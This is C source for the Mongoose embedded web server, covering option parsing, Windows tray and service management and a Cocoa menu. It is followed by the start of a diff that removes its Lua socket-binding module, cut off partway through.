#include <winsvc.h>
#include <shlobj.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef S_ISDIR
#define S_ISDIR(x) ((x) & _S_IFDIR)
#endif
#define DIRSEP '\\'
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define sleep(x) Sleep((x) * 1000)
#define WINCDECL __cdecl
#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
#else
#include <sys/wait.h>
#include <unistd.h>
#define DIRSEP '/'
#define WINCDECL
#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
#endif // _WIN32
#define MAX_OPTIONS 100
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
static int exit_flag;
static char server_name[40]; // Set by init_server_name()
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
static struct mg_context *ctx; // Set by start_mongoose()
#if !defined(CONFIG_FILE)
#define CONFIG_FILE "mongoose.conf"
#endif /* !CONFIG_FILE */
static void WINCDECL signal_handler(int sig_num) {
#if !defined(_WIN32)
// Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
// reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
// fails if SIGCHLD is ignored, making system() non-functional.
if (sig_num == SIGCHLD) {
do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
} else
#endif
{ exit_flag = sig_num; }
}
static void die(const char *fmt, ...) {
va_list ap;
char msg[200];
va_start(ap, fmt);
vsnprintf(msg, sizeof(msg), fmt, ap);
va_end(ap);
#if defined(_WIN32)
MessageBox(NULL, msg, "Error", MB_OK);
#else
fprintf(stderr, "%s\n", msg);
#endif
exit(EXIT_FAILURE);
}
static void show_usage_and_exit(void) {
const char **names;
int i;
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
mg_version(), __DATE__);
fprintf(stderr, "Usage:\n");
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
fprintf(stderr, " mongoose [config_file]\n");
fprintf(stderr, " mongoose [-option value ...]\n");
fprintf(stderr, "\nOPTIONS:\n");
names = mg_get_valid_option_names();
for (i = 0; names[i] != NULL; i += 2) {
fprintf(stderr, " -%s %s\n",
names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
}
exit(EXIT_FAILURE);
}
#if defined(_WIN32) || defined(USE_COCOA)
static const char *config_file_top_comment =
"# Mongoose web server configuration file.\n"
"# For detailed description of every option, visit\n"
"# https://github.com/valenok/mongoose/blob/master/UserManual.md\n"
"# Lines starting with '#' and empty lines are ignored.\n"
"# To make a change, remove leading '#', modify option's value,\n"
"# save this file and then restart Mongoose.\n\n";
static const char *get_url_to_first_open_port(const struct mg_context *ctx) {
static char url[100];
const char *open_ports = mg_get_option(ctx, "listening_ports");
int a, b, c, d, port, n;
if (sscanf(open_ports, "%d.%d.%d.%d:%d%n", &a, &b, &c, &d, &port, &n) == 5) {
snprintf(url, sizeof(url), "%s://%d.%d.%d.%d:%d",
open_ports[n] == 's' ? "https" : "http", a, b, c, d, port);
} else if (sscanf(open_ports, "%d%n", &port, &n) == 1) {
snprintf(url, sizeof(url), "%s://localhost:%d",
open_ports[n] == 's' ? "https" : "http", port);
} else {
snprintf(url, sizeof(url), "%s", "http://localhost:8080");
}
return url;
}
static void create_config_file(const char *path) {
const char **names, *value;
FILE *fp;
int i;
// Create config file if it is not present yet
if ((fp = fopen(path, "r")) != NULL) {
fclose(fp);
} else if ((fp = fopen(path, "a+")) != NULL) {
fprintf(fp, "%s", config_file_top_comment);
names = mg_get_valid_option_names();
for (i = 0; names[i * 2] != NULL; i++) {
value = mg_get_option(ctx, names[i * 2]);
fprintf(fp, "# %s %s\n", names[i * 2], value ? value : "<value>");
}
fclose(fp);
}
}
#endif
static char *sdup(const char *str) {
char *p;
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
strcpy(p, str);
}
return p;
}
static void set_option(char **options, const char *name, const char *value) {
int i;
for (i = 0; i < MAX_OPTIONS - 3; i++) {
if (options[i] == NULL) {
options[i] = sdup(name);
options[i + 1] = sdup(value);
options[i + 2] = NULL;
break;
} else if (!strcmp(options[i], name)) {
free(options[i + 1]);
options[i + 1] = sdup(value);
break;
}
}
if (i == MAX_OPTIONS - 3) {
die("%s", "Too many options specified");
}
}
static void process_command_line_arguments(char *argv[], char **options) {
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
FILE *fp = NULL;
size_t i, cmd_line_opts_start = 1, line_no = 0;
// Should we use a config file ?
if (argv[1] != NULL && argv[1][0] != '-') {
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
cmd_line_opts_start = 2;
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
// No command line flags specified. Look where binary lives
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
} else {
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
}
fp = fopen(config_file, "r");
// If config file was set in command line and open failed, die
if (cmd_line_opts_start == 2 && fp == NULL) {
die("Cannot open config file %s: %s", config_file, strerror(errno));
}
// Load config file settings first
if (fp != NULL) {
fprintf(stderr, "Loading config file %s\n", config_file);
// Loop over the lines in config file
while (fgets(line, sizeof(line), fp) != NULL) {
line_no++;
// Ignore empty lines and comments
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
if (line[i] == '#' || line[i] == '\0') {
continue;
}
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
printf("%s: line %d is invalid, ignoring it:\n %s",
config_file, (int) line_no, line);
} else {
set_option(options, opt, val);
}
}
(void) fclose(fp);
}
// If we're under MacOS and started by launchd, then the second
// argument is process serial number, -psn_.....
// In this case, don't process arguments at all.
if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
// Handle command line flags.
// They override config file and default settings.
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
show_usage_and_exit();
}
set_option(options, &argv[i][1], argv[i + 1]);
}
}
}
static void init_server_name(void) {
snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s",
mg_version());
}
static int log_message(const struct mg_connection *conn, const char *message) {
(void) conn;
printf("%s\n", message);
return 0;
}
static int is_path_absolute(const char *path) {
#ifdef _WIN32
return path != NULL &&
((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir
(isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir
#else
return path != NULL && path[0] == '/';
#endif
}
static char *get_option(char **options, const char *option_name) {
int i;
for (i = 0; options[i] != NULL; i++)
if (!strcmp(options[i], option_name))
return options[i + 1];
return NULL;
}
static void verify_existence(char **options, const char *option_name,
int must_be_dir) {
struct stat st;
const char *path = get_option(options, option_name);
if (path != NULL && (stat(path, &st) != 0 ||
((S_ISDIR(st.st_mode) ? 1 : 0) != must_be_dir))) {
die("Invalid path for %s: [%s]: (%s). Make sure that path is either "
"absolute, or it is relative to mongoose executable.",
option_name, path, strerror(errno));
}
}
static void set_absolute_path(char *options[], const char *option_name,
const char *path_to_mongoose_exe) {
char path[PATH_MAX], abs[PATH_MAX], *option_value;
const char *p;
// Check whether option is already set
option_value = get_option(options, option_name);
// If option is already set and it is an absolute path,
// leave it as it is -- it's already absolute.
if (option_value != NULL && !is_path_absolute(option_value)) {
// Not absolute. Use the directory where mongoose executable lives
// be the relative directory for everything.
// Extract mongoose executable directory into path.
if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) {
getcwd(path, sizeof(path));
} else {
snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe),
path_to_mongoose_exe);
}
strncat(path, "/", sizeof(path) - 1);
strncat(path, option_value, sizeof(path) - 1);
// Absolutize the path, and set the option
abs_path(path, abs, sizeof(abs));
set_option(options, option_name, abs);
}
}
static void start_mongoose(int argc, char *argv[]) {
struct mg_callbacks callbacks;
char *options[MAX_OPTIONS];
int i;
// Edit passwords file if -A option is specified
if (argc > 1 && !strcmp(argv[1], "-A")) {
if (argc != 6) {
show_usage_and_exit();
}
exit(mg_modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
EXIT_SUCCESS : EXIT_FAILURE);
}
// Show usage if -h or --help options are specified
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
show_usage_and_exit();
}
options[0] = NULL;
set_option(options, "document_root", ".");
// Update config based on command line arguments
process_command_line_arguments(argv, options);
// Make sure we have absolute paths for files and directories
// https://github.com/valenok/mongoose/issues/181
set_absolute_path(options, "document_root", argv[0]);
set_absolute_path(options, "put_delete_auth_file", argv[0]);
set_absolute_path(options, "cgi_interpreter", argv[0]);
set_absolute_path(options, "access_log_file", argv[0]);
set_absolute_path(options, "error_log_file", argv[0]);
set_absolute_path(options, "global_auth_file", argv[0]);
set_absolute_path(options, "ssl_certificate", argv[0]);
// Make extra verification for certain options
verify_existence(options, "document_root", 1);
verify_existence(options, "cgi_interpreter", 0);
verify_existence(options, "ssl_certificate", 0);
// Setup signal handler: quit on Ctrl-C
signal(SIGTERM, signal_handler);
signal(SIGINT, signal_handler);
// Start Mongoose
memset(&callbacks, 0, sizeof(callbacks));
callbacks.log_message = &log_message;
ctx = mg_start(&callbacks, NULL, (const char **) options);
for (i = 0; options[i] != NULL; i++) {
free(options[i]);
}
if (ctx == NULL) {
die("%s", "Failed to start Mongoose.");
}
}
#ifdef _WIN32
enum {
ID_ICON = 100, ID_QUIT, ID_SETTINGS, ID_SEPARATOR, ID_INSTALL_SERVICE,
ID_REMOVE_SERVICE, ID_STATIC, ID_GROUP, ID_SAVE, ID_RESET_DEFAULTS,
ID_STATUS, ID_CONNECT,
// All dynamically created text boxes for options have IDs starting from
// ID_CONTROLS, incremented by one.
ID_CONTROLS = 200,
// Text boxes for files have "..." buttons to open file browser. These
// buttons have IDs that are ID_FILE_BUTTONS_DELTA higher than associated
// text box ID.
ID_FILE_BUTTONS_DELTA = 1000
};
static HICON hIcon;
static SERVICE_STATUS ss;
static SERVICE_STATUS_HANDLE hStatus;
static const char *service_magic_argument = "--";
static NOTIFYICONDATA TrayIcon;
static void WINAPI ControlHandler(DWORD code) {
if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
ss.dwWin32ExitCode = 0;
ss.dwCurrentState = SERVICE_STOPPED;
}
SetServiceStatus(hStatus, &ss);
}
static void WINAPI ServiceMain(void) {
ss.dwServiceType = SERVICE_WIN32;
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
hStatus = RegisterServiceCtrlHandler(server_name, ControlHandler);
SetServiceStatus(hStatus, &ss);
while (ss.dwCurrentState == SERVICE_RUNNING) {
Sleep(1000);
}
mg_stop(ctx);
ss.dwCurrentState = SERVICE_STOPPED;
ss.dwWin32ExitCode = (DWORD) -1;
SetServiceStatus(hStatus, &ss);
}
static void show_error(void) {
char buf[256];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
buf, sizeof(buf), NULL);
MessageBox(NULL, buf, "Error", MB_OK);
}
static void *align(void *ptr, DWORD alig) {
ULONG ul = (ULONG) ptr;
ul += alig;
ul &= ~alig;
return ((void *) ul);
}
static int is_boolean_option(const char *option_name) {
return !strcmp(option_name, "enable_directory_listing") ||
!strcmp(option_name, "enable_keep_alive");
}
static int is_filename_option(const char *option_name) {
return !strcmp(option_name, "cgi_interpreter") ||
!strcmp(option_name, "global_auth_file") ||
!strcmp(option_name, "put_delete_auth_file") ||
!strcmp(option_name, "access_log_file") ||
!strcmp(option_name, "error_log_file") ||
!strcmp(option_name, "ssl_certificate");
}
static int is_directory_option(const char *option_name) {
return !strcmp(option_name, "document_root");
}
static int is_numeric_options(const char *option_name) {
return !strcmp(option_name, "num_threads");
}
static void save_config(HWND hDlg, FILE *fp) {
char value[2000];
const char **options, *name, *default_value;
int i, id;
fprintf(fp, "%s", config_file_top_comment);
options = mg_get_valid_option_names();
for (i = 0; options[i * 2] != NULL; i++) {
name = options[i * 2];
id = ID_CONTROLS + i;
if (is_boolean_option(name)) {
snprintf(value, sizeof(value), "%s",
IsDlgButtonChecked(hDlg, id) ? "yes" : "no");
} else {
GetDlgItemText(hDlg, id, value, sizeof(value));
}
default_value = options[i * 2 + 1] == NULL ? "" : options[i * 2 + 1];
// If value is the same as default, skip it
if (strcmp(value, default_value) != 0) {
fprintf(fp, "%s %s\n", name, value);
}
}
}
static BOOL CALLBACK DlgProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lP) {
FILE *fp;
int i;
const char *name, *value, **options = mg_get_valid_option_names();
switch (msg) {
case WM_CLOSE:
DestroyWindow(hDlg);
break;
case WM_COMMAND:
switch (LOWORD(wParam)) {
case ID_SAVE:
EnableWindow(GetDlgItem(hDlg, ID_SAVE), FALSE);
if ((fp = fopen(config_file, "w+")) != NULL) {
save_config(hDlg, fp);
fclose(fp);
mg_stop(ctx);
start_mongoose(__argc, __argv);
}
EnableWindow(GetDlgItem(hDlg, ID_SAVE), TRUE);
break;
case ID_RESET_DEFAULTS:
for (i = 0; options[i * 2] != NULL; i++) {
name = options[i * 2];
value = options[i * 2 + 1] == NULL ? "" : options[i * 2 + 1];
if (is_boolean_option(name)) {
CheckDlgButton(hDlg, ID_CONTROLS + i, !strcmp(value, "yes") ?
BST_CHECKED : BST_UNCHECKED);
} else {
SetWindowText(GetDlgItem(hDlg, ID_CONTROLS + i), value);
}
}
break;
}
for (i = 0; options[i * 2] != NULL; i++) {
name = options[i * 2];
if ((is_filename_option(name) || is_directory_option(name)) &&
LOWORD(wParam) == ID_CONTROLS + i + ID_FILE_BUTTONS_DELTA) {
OPENFILENAME of;
BROWSEINFO bi;
char path[PATH_MAX] = "";
memset(&of, 0, sizeof(of));
of.lStructSize = sizeof(of);
of.hwndOwner = (HWND) hDlg;
of.lpstrFile = path;
of.nMaxFile = sizeof(path);
of.lpstrInitialDir = mg_get_option(ctx, "document_root");
of.Flags = OFN_CREATEPROMPT | OFN_NOCHANGEDIR;
memset(&bi, 0, sizeof(bi));
bi.hwndOwner = (HWND) hDlg;
bi.lpszTitle = "Choose WWW root directory:";
bi.ulFlags = BIF_RETURNONLYFSDIRS;
if (is_directory_option(name)) {
SHGetPathFromIDList(SHBrowseForFolder(&bi), path);
} else {
GetOpenFileName(&of);
}
if (path[0] != '\0') {
SetWindowText(GetDlgItem(hDlg, ID_CONTROLS + i), path);
}
}
}
break;
case WM_INITDIALOG:
SendMessage(hDlg, WM_SETICON,(WPARAM) ICON_SMALL, (LPARAM) hIcon);
SendMessage(hDlg, WM_SETICON,(WPARAM) ICON_BIG, (LPARAM) hIcon);
SetWindowText(hDlg, "Mongoose settings");
SetFocus(GetDlgItem(hDlg, ID_SAVE));
for (i = 0; options[i * 2] != NULL; i++) {
name = options[i * 2];
value = mg_get_option(ctx, name);
if (is_boolean_option(name)) {
CheckDlgButton(hDlg, ID_CONTROLS + i, !strcmp(value, "yes") ?
BST_CHECKED : BST_UNCHECKED);
} else {
SetDlgItemText(hDlg, ID_CONTROLS + i, value == NULL ? "" : value);
}
}
break;
default:
break;
}
return FALSE;
}
static void add_control(unsigned char **mem, DLGTEMPLATE *dia, WORD type,
DWORD id, DWORD style, WORD x, WORD y,
WORD cx, WORD cy, const char *caption) {
DLGITEMTEMPLATE *tp;
LPWORD p;
dia->cdit++;
*mem = align(*mem, 3);
tp = (DLGITEMTEMPLATE *) *mem;
tp->id = (WORD)id;
tp->style = style;
tp->dwExtendedStyle = 0;
tp->x = x;
tp->y = y;
tp->cx = cx;
tp->cy = cy;
p = align(*mem + sizeof(*tp), 1);
*p++ = 0xffff;
*p++ = type;
while (*caption != '\0') {
*p++ = (WCHAR) *caption++;
}
*p++ = 0;
p = align(p, 1);
*p++ = 0;
*mem = (unsigned char *) p;
}
static void show_settings_dialog() {
#define HEIGHT 15
#define WIDTH 400
#define LABEL_WIDTH 80
unsigned char mem[4096], *p;
const char **option_names, *long_option_name;
DWORD style;
DLGTEMPLATE *dia = (DLGTEMPLATE *) mem;
WORD i, cl, x, y, width, nelems = 0;
static int guard;
static struct {
DLGTEMPLATE template; // 18 bytes
WORD menu, class;
wchar_t caption[1];
WORD fontsiz;
wchar_t fontface[7];
} dialog_header = {{WS_CAPTION | WS_POPUP | WS_SYSMENU | WS_VISIBLE |
DS_SETFONT | WS_DLGFRAME, WS_EX_TOOLWINDOW, 0, 200, 200, WIDTH, 0},
0, 0, L"", 8, L"Tahoma"};
if (guard == 0) {
guard++;
} else {
return;
}
(void) memset(mem, 0, sizeof(mem));
(void) memcpy(mem, &dialog_header, sizeof(dialog_header));
p = mem + sizeof(dialog_header);
option_names = mg_get_valid_option_names();
for (i = 0; option_names[i * 2] != NULL; i++) {
long_option_name = option_names[i * 2];
style = WS_CHILD | WS_VISIBLE | WS_TABSTOP;
x = 10 + (WIDTH / 2) * (nelems % 2);
y = (nelems/2 + 1) * HEIGHT + 5;
width = WIDTH / 2 - 20 - LABEL_WIDTH;
if (is_numeric_options(long_option_name)) {
style |= ES_NUMBER;
cl = 0x81;
style |= WS_BORDER | ES_AUTOHSCROLL;
} else if (is_boolean_option(long_option_name)) {
cl = 0x80;
style |= BS_AUTOCHECKBOX;
} else if (is_filename_option(long_option_name) ||
is_directory_option(long_option_name)) {
style |= WS_BORDER | ES_AUTOHSCROLL;
width -= 20;
cl = 0x81;
add_control(&p, dia, 0x80,
ID_CONTROLS + i + ID_FILE_BUTTONS_DELTA,
WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,
(WORD) (x + width + LABEL_WIDTH + 5),
y, 15, 12, "...");
} else {
cl = 0x81;
style |= WS_BORDER | ES_AUTOHSCROLL;
}
add_control(&p, dia, 0x82, ID_STATIC, WS_VISIBLE | WS_CHILD,
x, y, LABEL_WIDTH, HEIGHT, long_option_name);
add_control(&p, dia, cl, ID_CONTROLS + i, style,
(WORD) (x + LABEL_WIDTH), y, width, 12, "");
nelems++;
}
y = (WORD) (((nelems + 1) / 2 + 1) * HEIGHT + 5);
add_control(&p, dia, 0x80, ID_GROUP, WS_CHILD | WS_VISIBLE |
BS_GROUPBOX, 5, 5, WIDTH - 10, y, " Settings ");
y += 10;
add_control(&p, dia, 0x80, ID_SAVE,
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP,
WIDTH - 70, y, 65, 12, "Save Settings");
add_control(&p, dia, 0x80, ID_RESET_DEFAULTS,
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP,
WIDTH - 140, y, 65, 12, "Reset to defaults");
add_control(&p, dia, 0x82, ID_STATIC,
WS_CHILD | WS_VISIBLE | WS_DISABLED,
5, y, 180, 12, server_name);
dia->cy = ((nelems + 1) / 2 + 1) * HEIGHT + 30;
DialogBoxIndirectParam(NULL, dia, NULL, DlgProc, (LPARAM) NULL);
guard--;
}
static int manage_service(int action) {
static const char *service_name = "Mongoose";
SC_HANDLE hSCM = NULL, hService = NULL;
SERVICE_DESCRIPTION descr = {server_name};
char path[PATH_MAX + 20]; // Path to executable plus magic argument
int success = 1;
if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
GENERIC_WRITE : GENERIC_READ)) == NULL) {
success = 0;
show_error();
} else if (action == ID_INSTALL_SERVICE) {
GetModuleFileName(NULL, path, sizeof(path));
strncat(path, " ", sizeof(path));
strncat(path, service_magic_argument, sizeof(path));
hService = CreateService(hSCM, service_name, service_name,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
path, NULL, NULL, NULL, NULL, NULL);
if (hService) {
ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
} else {
show_error();
}
} else if (action == ID_REMOVE_SERVICE) {
if ((hService = OpenService(hSCM, service_name, DELETE)) == NULL ||
!DeleteService(hService)) {
show_error();
}
} else if ((hService = OpenService(hSCM, service_name,
SERVICE_QUERY_STATUS)) == NULL) {
success = 0;
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
LPARAM lParam) {
static SERVICE_TABLE_ENTRY service_table[] = {
{server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
int service_installed;
char buf[200], *service_argv[] = {__argv[0], NULL};
POINT pt;
HMENU hMenu;
static UINT s_uTaskbarRestart; // for taskbar creation
switch (msg) {
case WM_CREATE:
if (__argv[1] != NULL &&
!strcmp(__argv[1], service_magic_argument)) {
start_mongoose(1, service_argv);
StartServiceCtrlDispatcher(service_table);
exit(EXIT_SUCCESS);
} else {
start_mongoose(__argc, __argv);
s_uTaskbarRestart = RegisterWindowMessage(TEXT("TaskbarCreated"));
}
break;
case WM_COMMAND:
switch (LOWORD(wParam)) {
case ID_QUIT:
mg_stop(ctx);
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
PostQuitMessage(0);
return 0;
case ID_SETTINGS:
show_settings_dialog();
break;
case ID_INSTALL_SERVICE:
case ID_REMOVE_SERVICE:
manage_service(LOWORD(wParam));
break;
case ID_CONNECT:
printf("[%s]\n", get_url_to_first_open_port(ctx));
ShellExecute(NULL, "open", get_url_to_first_open_port(ctx),
NULL, NULL, SW_SHOW);
break;
}
break;
case WM_USER:
switch (lParam) {
case WM_RBUTTONUP:
case WM_LBUTTONUP:
case WM_LBUTTONDBLCLK:
hMenu = CreatePopupMenu();
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
service_installed = manage_service(0);
snprintf(buf, sizeof(buf), "NT service: %s installed",
service_installed ? "" : "not");
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
ID_INSTALL_SERVICE, "Install service");
AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
ID_REMOVE_SERVICE, "Deinstall service");
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
AppendMenu(hMenu, MF_STRING, ID_CONNECT, "Start browser");
AppendMenu(hMenu, MF_STRING, ID_SETTINGS, "Edit Settings");
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
GetCursorPos(&pt);
SetForegroundWindow(hWnd);
TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
PostMessage(hWnd, WM_NULL, 0, 0);
DestroyMenu(hMenu);
break;
}
break;
case WM_CLOSE:
mg_stop(ctx);
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
PostQuitMessage(0);
return 0; // We've just sent our own quit message, with proper hwnd.
default:
if (msg==s_uTaskbarRestart)
Shell_NotifyIcon(NIM_ADD, &TrayIcon);
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
WNDCLASS cls;
HWND hWnd;
MSG msg;
init_server_name();
memset(&cls, 0, sizeof(cls));
cls.lpfnWndProc = (WNDPROC) WindowProc;
cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
cls.lpszClassName = server_name;
RegisterClass(&cls);
hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
0, 0, 0, 0, NULL, NULL, NULL, NULL);
ShowWindow(hWnd, SW_HIDE);
TrayIcon.cbSize = sizeof(TrayIcon);
TrayIcon.uID = ID_ICON;
TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
TrayIcon.hIcon = hIcon = LoadImage(GetModuleHandle(NULL),
MAKEINTRESOURCE(ID_ICON),
IMAGE_ICON, 16, 16, 0);
TrayIcon.hWnd = hWnd;
snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
TrayIcon.uCallbackMessage = WM_USER;
Shell_NotifyIcon(NIM_ADD, &TrayIcon);
while (GetMessage(&msg, hWnd, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Return the WM_QUIT value.
return msg.wParam;
}
#elif defined(USE_COCOA)
#import <Cocoa/Cocoa.h>
@interface Mongoose : NSObject<NSApplicationDelegate>
- (void) openBrowser;
- (void) shutDown;
@end
@implementation Mongoose
- (void) openBrowser {
[[NSWorkspace sharedWorkspace]
openURL:[NSURL URLWithString:
[NSString stringWithUTF8String:get_url_to_first_open_port(ctx)]]];
}
- (void) editConfig {
create_config_file(config_file);
[[NSWorkspace sharedWorkspace]
openFile:[NSString stringWithUTF8String:config_file]
withApplication:@"TextEdit"];
}
- (void)shutDown{
[NSApp terminate:nil];
}
@end
int main(int argc, char *argv[]) {
init_server_name();
start_mongoose(argc, argv);
[NSAutoreleasePool new];
[NSApplication sharedApplication];
// Add delegate to process menu item actions
Mongoose *myDelegate = [[Mongoose alloc] autorelease];
[NSApp setDelegate: myDelegate];
// Run this app as agent
ProcessSerialNumber psn = { 0, kCurrentProcess };
TransformProcessType(&psn, kProcessTransformToBackgroundApplication);
SetFrontProcess(&psn);
// Add status bar menu
id menu = [[NSMenu new] autorelease];
// Add version menu item
[menu addItem:[[[NSMenuItem alloc]
//initWithTitle:[NSString stringWithFormat:@"%s", server_name]
initWithTitle:[NSString stringWithUTF8String:server_name]
action:@selector(noexist) keyEquivalent:@""] autorelease]];
// Add configuration menu item
[menu addItem:[[[NSMenuItem alloc]
initWithTitle:@"Edit configuration"
action:@selector(editConfig) keyEquivalent:@""] autorelease]];
// Add connect menu item
[menu addItem:[[[NSMenuItem alloc]
initWithTitle:@"Open web root in a browser"
action:@selector(openBrowser) keyEquivalent:@""] autorelease]];
// Separator
[menu addItem:[NSMenuItem separatorItem]];
// Add quit menu item
[menu addItem:[[[NSMenuItem alloc]
initWithTitle:@"Quit"
action:@selector(shutDown) keyEquivalent:@"q"] autorelease]];
// Attach menu to the status bar
id item = [[[NSStatusBar systemStatusBar]
statusItemWithLength:NSVariableStatusItemLength] retain];
[item setHighlightMode:YES];
[item setImage:[NSImage imageNamed:@"mongoose_22x22.png"]];
[item setMenu:menu];
// Run the app
[NSApp activateIgnoringOtherApps:YES];
[NSApp run];
mg_stop(ctx);
return EXIT_SUCCESS;
}
#else
int main(int argc, char *argv[]) {
init_server_name();
start_mongoose(argc, argv);
printf("%s started on port(s) %s with web root [%s]\n",
server_name, mg_get_option(ctx, "listening_ports"),
mg_get_option(ctx, "document_root"));
while (exit_flag == 0) {
sleep(1);
}
printf("Exiting on signal %d, waiting for all threads to finish...",
exit_flag);
fflush(stdout);
mg_stop(ctx);
printf("%s", " done.\n");
return EXIT_SUCCESS;
}
#endif /* _WIN32 */
-393
View File
@@ -1,393 +0,0 @@
#include "lua_5.2.1.h"
#ifdef _WIN32
static void *mmap(void *addr, int64_t len, int prot, int flags, int fd,
int offset) {
HANDLE fh = (HANDLE) _get_osfhandle(fd);
HANDLE mh = CreateFileMapping(fh, 0, PAGE_READONLY, 0, 0, 0);
void *p = MapViewOfFile(mh, FILE_MAP_READ, 0, 0, (size_t) len);
CloseHandle(mh);
return p;
}
#define munmap(x, y) UnmapViewOfFile(x)
#define MAP_FAILED NULL
#define MAP_PRIVATE 0
#define PROT_READ 0
#else
#include <sys/mman.h>
#endif
static const char *LUASOCKET = "luasocket";
// Forward declarations
static void handle_request(struct mg_connection *);
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
static void reg_string(struct lua_State *L, const char *name, const char *val) {
lua_pushstring(L, name);
lua_pushstring(L, val);
lua_rawset(L, -3);
}
static void reg_int(struct lua_State *L, const char *name, int val) {
lua_pushstring(L, name);
lua_pushinteger(L, val);
lua_rawset(L, -3);
}
static void reg_function(struct lua_State *L, const char *name,
lua_CFunction func, struct mg_connection *conn) {
lua_pushstring(L, name);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, func, 1);
lua_rawset(L, -3);
}
static int lsp_sock_close(lua_State *L) {
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
closesocket((SOCKET) lua_tonumber(L, -1));
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_recv(lua_State *L) {
char buf[2000];
int n;
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
n = recv((SOCKET) lua_tonumber(L, -1), buf, sizeof(buf), 0);
if (n <= 0) {
lua_pushnil(L);
} else {
lua_pushlstring(L, buf, n);
}
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_send(lua_State *L) {
const char *buf;
size_t len, sent = 0;
int n, sock;
if (lua_gettop(L) > 1 && lua_istable(L, -2) && lua_isstring(L, -1)) {
buf = lua_tolstring(L, -1, &len);
lua_getfield(L, -2, "sock");
sock = (int) lua_tonumber(L, -1);
while (sent < len) {
if ((n = send(sock, buf + sent, len - sent, 0)) <= 0) {
break;
}
sent += n;
}
lua_pushnumber(L, n);
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static const struct luaL_Reg luasocket_methods[] = {
{"close", lsp_sock_close},
{"send", lsp_sock_send},
{"recv", lsp_sock_recv},
{NULL, NULL}
};
static int lsp_connect(lua_State *L) {
